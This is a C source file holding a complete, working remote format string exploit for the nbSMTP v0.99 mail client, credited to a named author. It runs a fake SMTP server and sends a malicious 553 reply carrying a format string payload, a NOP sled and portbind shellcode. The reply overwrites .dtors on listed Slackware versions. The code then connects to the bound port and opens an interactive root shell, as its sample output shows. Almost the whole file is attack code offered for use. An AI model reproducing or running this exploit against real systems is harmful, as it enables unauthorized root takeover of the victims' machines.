/* nbSMTP_fsexp.c
 *
 * nbSMTP v0.99 remote format string exploit
 * by CoKi <coki@nosystem.com.ar>
 *
 * root@nosystem:/home/coki/audi# ./nbSMTP_fsexp
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  Use: ./nbSMTP_fsexp [options]
 *
 *  options:
 *         -t <arg>    type of target system
 *         -r <arg>    return address
 *         -s <arg>    shellcode address
 *         -o <arg>    offset
 *         -l          targets list
 * 
 * root@nosystem:/home/coki/audit# ./nbSMTP_fsexp -t2
 *
 *  nbSMTP v0.99 remote format string exploit
 *  by CoKi <coki@nosystem.com.ar>
 *
 *  [*] system                     : Slackware Linux 10.0
 *  [*] return address             : 0x0804d8cc
 *  [*] shellcode address          : 0x08053613
 *  [*] building evil buffer       : done
 *  [*] running fake smtp server   : done
 *
 *  [*] waiting...                 : 10.0.0.1:2046 connected
 *  [*] sending evil command...    : done
 *
 *  [*] checking for shell...      : done
 *
 *  [!] you have a shell :)
 *
 * Linux servidor 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i586 unknown unknown GNU/Linux
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),102(bbs)
 *
 * Tested in Slackware Linux 9.0 / 10.0 / 10.1
 *
 * by CoKi <coki@nosystem.com.ar>
 * No System Group - http://www.nosystem.com.ar
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define SMTPD    25
#define BUFFERSIZE  1024
#define ERROR    -1
#define TIMEOUT    3
#define SHELL    5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(int retaddr, int shaddr);

/*
 * Shellcode - portbind 5074 (84 bytes)
 * by Giuseppe Gottardi 'oveRet' <overet@securitydate.it>
 */

char shellcode[] = 
  "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
  "\xe1\xcd\x80\x52\x43\x68\xff\x02\x13\xd2\x89\xe1"
  "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
  "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
  "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
  "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
  "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

struct {
  int num;
  char *os;
  int retaddr;
  int shaddr;
}targets[] = {
  1, "Slackware Linux 9.0", 0x0804d4d4, 0x080531c3,  // .dtors
  2, "Slackware Linux 10.0", 0x0804d8cc, 0x08053613,  // .dtors
  3, "Slackware Linux 10.1", 0x0804d898, 0x08053e4e  // .dtors
  };

int main(int argc, char *argv[])
{
  char opt, *system=NULL;
  int shaddr=0, retaddr=0, targetnum=0, offset=0, i;

  printf("\n nbSMTP v0.99 remote format string exploit\n");
  printf(" by CoKi <coki@nosystem.com.ar>\n\n");

  while((opt = getopt(argc,argv,"r:s:t:lo:")) != EOF) {
    switch (opt) {
      case 'r':
        retaddr = strtoul(optarg,NULL,0);
        system = "unknown";
        break;
      case 's':
        shaddr = strtoul(optarg,NULL,0);
        break;
      case 't':
        targetnum = atoi(optarg)-1;
        if(targets[targetnum].num) {        
          system = targets[targetnum].os;
          retaddr = targets[targetnum].retaddr;
          shaddr = targets[targetnum].shaddr;
        }
        else use(argv[0]);
        break;
      case 'l':
        printlist();
        break;
      case 'o':
          offset = atoi(optarg);
              shaddr += offset;
              break;
      default:
        use(argv[0]);
        break;
    }
  }

  if(retaddr == 0) use(argv[0]);
  if(shaddr == 0) use(argv[0]);
  if(system == NULL) {
    system = "unknown";
  }

  printf(" [*] system\t\t\t: %s\n", system);
  printf(" [*] return address\t\t: %010p\n", retaddr);

  printf(" [*] shellcode address\t\t: %010p", shaddr);
  fflush(stdout);

  if(offset) printf(" (offset %d)\n", offset);
  else printf("\n");

  exploit(retaddr, shaddr);
}

void exploit(int retaddr, int shaddr) {
  char smtp[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE], host[255];
  int sock, newsock, i, reuseaddr=1;
  unsigned int bal1, bal2;
  int cn1, cn2;
  struct sockaddr_in remoteaddr;
  struct sockaddr_in localaddr;
  int addrlen = sizeof(struct sockaddr_in);
  struct hostent *he;

  printf(" [*] building evil buffer\t:");
  fflush(stdout);

  /* adding pads */
  sprintf(smtp, "553 xx");

  /* adding return address */
  bzero(temp, sizeof(temp));
  sprintf(temp, "%s", &retaddr);
  strncat(smtp, temp, 4);
  retaddr += 2;
  sprintf(temp, "%s", &retaddr);
  strncat(smtp, temp, 4);

  /* adding nops */
  strcat(smtp, "\x90\x90\x90\x90");

  /* adding shellcode */
  strcat(smtp, shellcode);

  bal1 = (shaddr & 0xffff0000) >> 16;
  bal2 = (shaddr & 0x0000ffff);

  cn1 = bal2 - 14 - 2 - 8 - 4 - 84;
  cn1 = check(cn1);
  cn2 = bal1 - bal2;
  cn2 = check(cn2);

  /* adding evil string */
  sprintf(temp, "%%%du%%7$n%%%du%%8$n", cn1, cn2);
  strcat(smtp, temp);
  strcat(smtp, "\n");

  printf(" done\n");
  printf(" [*] running fake smtp server\t:");
  fflush(stdout);

  localaddr.sin_family = AF_INET;
  localaddr.sin_port = htons(SMTPD);
  localaddr.sin_addr.s_addr = INADDR_ANY;
  bzero(&(localaddr.sin_zero), 8);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror(" socket()");
    printf("\n");
    exit(1);
  }

  if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
    (socklen_t)sizeof(reuseaddr)) < 0) {
    perror(" setsockopt()");
    printf("\n");
    exit(1);
  }

  if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
    perror(" bind()");
    printf("\n");
    exit(1);
  }

  if (listen(sock, 1) < 0) {
    perror(" listen()");
    printf("\n");
    exit(1);
  }

  printf(" done\n");
  printf("\n [*] waiting...");
  fflush(stdout);

  if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
    perror(" accept()");
    printf("\n");
    exit(1);
  }

  if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
    perror(" getpeername()");
    printf("\n");
    exit(1);
  }

  printf("\t\t\t: %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
  fflush(stdout);

  printf(" [*] sending evil command...\t:");
  fflush(stdout);

  bzero(temp, sizeof(temp));
  sprintf(temp, "220\n");

  if (write(newsock, temp, strlen(temp)) <= 0) {
    perror(" write()");
    printf("\n");
    exit(1);
  }

  if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
    perror(" read()");
    printf("\n");
    exit(1);
  }

  bzero(temp, sizeof(temp));
  sprintf(temp, "250\n");

  if (write(newsock, temp, strlen(temp)) <= 0) {
    perror(" write()");
    printf("\n");
    exit(1);
  }

  if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
    perror(" read()");
    printf("\n");
    exit(1);
  }

  if (write(newsock, smtp, strlen(smtp)) <= 0) {
    perror(" write()");
    printf("\n");
    exit(1);
  }

  close(sock);
  close(newsock);

  printf(" done\n\n");
  fflush(stdout);
    
  printf(" [*] checking for shell...\t:");
  fflush(stdout);

  sprintf(host, "%s", inet_ntoa(remoteaddr.sin_addr));
  sleep(1);

  shell(host, SHELL);
}

void shell(char *host, int port) {
  int sockfd, n;
  char buff[BUFFERSIZE], *command = "uname -a; id;\n";
  fd_set readfs;
  struct hostent *he;
  struct sockaddr_in dest_dir;

  if((he=gethostbyname(host)) == NULL) {
    herror(" gethostbyname()");
    printf("\n");
    exit(1);
  }

  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    perror(" socket()");
    printf("\n");
    exit(1);
  }

  dest_dir.sin_family = AF_INET;
  dest_dir.sin_port = htons(port);
  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  bzero(&(dest_dir.sin_zero), 8);

  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
    sizeof(struct sockaddr), TIMEOUT) == ERROR) {

    printf(" failed!\n\n");
    exit(1);
  }

  printf(" done");
  fflush(stdout);

  /* owned ;) */
  printf("\n\n [!] you have a shell :)\n\n");
  fflush(stdout);

  send(sockfd, command, strlen(command), 0);

  while(1) {
    FD_ZERO(&readfs);
    FD_SET(0, &readfs);
    FD_SET(sockfd, &readfs);
    if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
    if(FD_ISSET(0,&readfs)) {
      if((n = read(0,buff,sizeof(buff))) < 1)
      exit(0);
      if(send(sockfd, buff, n, 0) != n) exit(0);
    }
    if(FD_ISSET(sockfd,&readfs)) {
      if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
      write(1, buff, n);
    }
  }
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
  socklen_t addrlen, int timeout) {

  int res, slen, flags;
  struct timeval tv;
  struct sockaddr_in addr;
  fd_set rdf, wrf;

  fcntl(sfd, F_SETFL, O_NONBLOCK);

  res = connect(sfd, serv_addr, addrlen);

  if (res >= 0) return res;

  FD_ZERO(&rdf);
  FD_ZERO(&wrf);

  FD_SET(sfd, &rdf);
  FD_SET(sfd, &wrf);
  bzero(&tv, sizeof(tv));
  tv.tv_sec = timeout;

  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
    return -1;

  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
      return -1;

    flags = fcntl(sfd, F_GETFL, NULL);
    fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

    return 0;
  }

  return -1;
}

int check(unsigned long addr) {
  char tmp[128];
  snprintf(tmp, sizeof(tmp), "%d", addr);
  if(atoi(tmp) < 10)
  addr = addr + 65536;

  return addr;
}

void use(char *program) {
  printf(" Use: %s [options]\n", program);
  printf("\n options:\n");
  printf("  -t <arg>    type of target system\n");
  printf("  -r <arg>    return address\n");
  printf("  -s <arg>    shellcode address\n");
  printf("  -o <arg>    offset\n");
  printf("  -l          targets list\n\n");
  exit(1);
}

void printlist(void) {
  int i=0;

  printf(" targets\n");
  printf(" -------\n\n");

  while(targets[i].num) {
    printf(" [%d] %s\n", targets[i].num, targets[i].os);
    i++;
  }
  
  printf("\n");
  exit(0);
}